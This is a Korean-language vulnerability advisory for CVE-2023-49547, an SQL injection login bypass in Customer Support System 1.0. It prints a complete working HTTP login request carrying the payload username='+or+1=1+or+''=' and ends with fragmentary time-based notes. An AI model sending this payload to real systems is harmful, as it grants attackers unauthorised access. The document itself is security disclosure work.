geraldoalcantara/cve-2023-49547고객 지원 시스템 1.0 - SQL Injection 로그인 우회
설명: Customer Support System 1.0은 SQL 인젝션에 취약합니다. Customer Support System 1.0의 SQL 인젝션 취약점을 통해 원격의 인증되지 않은 공격자가 username 매개변수를 악용하여 인증 프로세스를 우회할 수 있습니다.
취약한 제품 버전: Customer Support System 1.0
CVE 작성자: Geraldo Alcântara
날짜: 28/11/2023
확인 날짜: 19/12/2023
CVE: CVE-2023-49547
테스트 환경: Windows
요청: 인증 우회:
POST /customer_support/ajax.php?action=login HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/login.php
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=abige9ar0b1bi3qcf9mkv258o3
username='+or+1%3D1+or+''%3D'&password=password&type=1
시간 기반:
20초
시간 기반:
2초
발견자/크레딧:
Geraldo Alcântara